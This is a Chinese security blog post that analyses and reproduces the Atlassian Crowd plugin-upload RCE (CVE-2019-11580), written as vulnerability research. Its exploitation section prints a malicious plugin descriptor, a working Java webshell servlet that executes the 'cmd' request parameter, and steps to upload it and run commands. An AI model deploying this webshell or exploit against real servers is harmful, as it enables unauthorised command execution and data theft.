查看原文
其他

FireEye 红队失窃工具大揭秘之:分析复现 Atlassian RCE (CVE-2019-11580)

代码安全实验室 代码卫士 2022-04-06

 聚焦源代码安全,网罗国内外最新资讯!


前言


最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。

攻击者可利用代码执行漏洞,在服务端执行任意代码,实现系统信息窃取等目标,从而造成巨大危害。Atlassian Crowd是一款企业身份管理应用,具有身份管理和单点登录功能,且通过插件进一步扩展了功能。Atlassian Crowd的插件pdkinstall中存在安全缺陷,易导致攻击者上传安装恶意插件进而达到远程代码执行的目的。


代码分析


本节主要分析Atlassian Crowd的pdkinstall插件信息。输入命令:

git clone https://bitbucket.org/atlassian/pdkinstall-plugin

下载插件源码,使用IDEA打开,如下图。


首先,分析插件描述文件 atlassian-plugin.xml。此文件采用 XML 格式数据重点说明插件模块与 servlet 的关联信息,内容如下。


图中标红区域说明,访问 /admin/uploadplugin.action 会调用 servlet 功能类com.atlassian.pdkinstall.PdkInstallFilter,完成新插件的上传、检测和安装过程。因此锁定此类为安全缺陷入口。

接着,分析其源码。在源码中,doFilter() 函数是核心函数,涉及关键插件逻辑控制语句,因此我们分两部分来分析该函数源码。第1部分的源码及解析如下。

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        HttpServletResponse res = (HttpServletResponse) servletResponse;
//        不是post请求,就报错
        if (!req.getMethod().equalsIgnoreCase("post"))
        {
            res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
            return;
        }
//        检查是否是multipart格式数据。
//        数据包中,Content-Type用于表示资源的MIME类型,multipart/mixed类型主要用于传输有效的(二进制数据等)数据文件。
        // Check that we have a file upload request
        File tmp = null;
        boolean isMultipart = ServletFileUpload.isMultipartContent(req);
        if (isMultipart)
        {
//            直接从数据包中提取jar文件继续安装插件
            tmp = extractJar(req, res, tmp);
        }
        else
        {
//            从数据包中组合数据构建、安装插件
            tmp = buildJarFromFiles(req);
        }

此方法首先判别准入 POST 请求,随后检查数据包的 Content-Type 类型是否是multipart:如是,则直接从数据包中提取jar文件插件;否则,从数据包中构建安装jar文件插件。

由于此函数代码后续跟进tmp变量开展判别任务,因此我们有必要深入相关函数分析返回的 tmp 变量值信息。进入 extractJar()函数分析 jar 文件插件提取过程,如下;buildJarFromFiles() 函数分析过程类似,在此不赘述。

    private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
    {
        // Create a new file upload handler
        ServletFileUpload upload = new ServletFileUpload(factory);

        // Parse the request
        try {
//            新建的文件上传实例会解析请求数据包,从而解析multipart/mixed格式的插件
            List<FileItem> items = upload.parseRequest(req);
            for (FileItem item : items)
            {
//                如果解析所得的数据字段以“file_”开头且不属于表格字段,则判定为插件信息,据此创建插件,插件在服务端的索引位置保存在tmp变量中
                if (item.getFieldName().startsWith("file_") && !item.isFormField())
                {
                    tmp = File.createTempFile("plugindev-", item.getName());
                    tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                    item.write(tmp);
                }
            }
        } catch (FileUploadException e) {
            log.warn(e, e);
            res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
        } catch (Exception e) {
            log.warn(e, e);
            res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
        }
//        返回插件索引位置信息
        return tmp;
    }

分析可知,如果数据包中存在以 ”file_” 开头且非表单字段的文件,则据此创建插件,并将插件的服务端位置索引保存至 tmp 变量中;否则,保持 tmp 变量为 “null”。最终返回 tmp 变量。

接着继续分析 doFilter() 函数的第2部分,如下。

//        tmp不为空,确定是插件上传安装请求且插件已被探测并上传,开始安装此插件,否则响应信息“Missing plugin file”
        if (tmp != null)
        {
            List<String> errors = new ArrayList<String>();
            try
            {
//                安装插件
                errors.addAll(pluginInstaller.install(tmp));
            }
            catch (Exception ex)
            {
                log.error(ex);
                errors.add(ex.getMessage());
            }

            tmp.delete();

            if (errors.isEmpty())
            {
//                安装成功,响应“Installed plugin”+“具体路径”
                res.setStatus(HttpServletResponse.SC_OK);
                servletResponse.setContentType("text/plain");
                servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
            }
            else
            {
//                安装失败,响应“Unable to install plugin:”
                res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
                servletResponse.setContentType("text/plain");
                servletResponse.getWriter().println("Unable to install plugin:");
                for (String err : errors)
                {
                    servletResponse.getWriter().println("\t - " + err);
                }
            }
            servletResponse.getWriter().close();
            return;
        }
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
    }


分析可知,如 tmp 变量不为空,则开始安装插件,且安装成功返回响应信息 “Installed plugin” +“具体路径”,安装失败返回响应信息 ”Unable to install plugin:”;如 tmp变量为空,则返回响应信息 “Missing plugin file”。

至此,明确 Atlassian Crowd 的插件管理流程后可知,并不存在明确的插件功能检测机制,因此插件易被利用。


漏洞利用


首先,编写一个恶意插件,其 “atlassian-plugin.xml” 信息如下。

<atlassian-plugin key="com.cdl.shell.exp" name="Atlassian Manager" plugins-version="2" class="com.cdl.shell.exp">
    <plugin-info>
        <param name="atlassian-data-center-compatible">true</param>
        <description>Atlassian Management plugin</description>
        <version>1.0.0</version>
    </plugin-info>

   <servlet name="exploit" key="exploit" class="
com.cdl.shell.exp">
      <url-pattern>/exp</url-pattern>
      <description>backdoor at /plugins/servlet/cdl</description>
   </servlet>

</atlassian-plugin>

分析可知,插件上传成功后,用户只需访问 /exp 即可使用恶意插件 servletcom.cdl.shell.exp 的功能。

其次,分析 com.cdl.shell.exp 源码,如下:

public class exp extends javax.servlet.http.HttpServlet {

    public void doGet(HttpServletRequest req, HttpServletResponse res) {
        try {
//            接收cmd参数信息
            String cmd=String.valueOf(req.getParameter("cmd"));
            String output="";
            try {
                if (!cmd.equals("")) {
//                    执行cmd参数命令
                    Process p=Runtime.getRuntime().exec(cmd);
                    InputStream out=p.getInputStream();
                    InputStream err=p.getErrorStream();
                    int c='\0';
                    while ((c=out.read()) != -1) {
                        res.getWriter().write((char)c);
                    }
                }
            } catch(Exception ex) {
                output+="\n"+ex.toString();
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }

}


从中可知,此 exp 的功能是读取并执行 cmd 参数值。

最后,编辑请求数据包以便上传恶意插件,接着在浏览器输入http://localhost:8095/crowd/plugins/servlet/exp?cmd=whoami, 即可执行 “whoami” 命令。观察服务端的响应信息(如下),可知漏洞利用成功。

复现


第一步,下载 atlassian-crowd-3.4.3。配置启动后,访问http://localhost:8095/crowd,最终出现如下界面说明 crowd 服务搭建成功。


第二步,访问链接 https://github.com/jas502n/CVE-2019-11580,下载恶意插件等资料,随后执行 CVE-2019-11580.py 脚本,出现如下界面说明插件上传、安装成功。


第三步,在浏览器访问链接 http://localhost:8095/crowd/plugins/servlet/exp?cmd=whoami,如出现如下界面,说明成功触发代码执行漏洞。



补丁


升级至最新版。


总结


通过分析 Atlassian Crowd RCE 漏洞,作者认为此漏洞的根本原因在于插件管理系统未全面测试外来插件的安全性;在相关漏洞研究学习中,我们应当提升Atlassian Crowd 动态调试能力,插件分析开发能力,以及 Java 和 Python 的开发能力。


参考文献


  • jas502n/CVE-2019-11580: CVE-2019-11580 Atlassian Crowd and Crowd Data Center RCE

    https://github.com/jas502n/CVE-2019-11580

  • CVE-2019-11580:Atlassian Crowd RCE漏洞分析 - 安全客

    https://www.anquanke.com/post/id/182118#h2-5







推荐阅读
请君入瓮:火眼自称遭某 APT 国家黑客组织攻击
企业软件开发商 Atlassian 紧急修复不慎泄露的0day,IBM Aspera 软件或受影响
Apache Commons Collections反序列化漏洞分析与复现




题图:Pixabay License


本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。


奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "” 吧~



您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存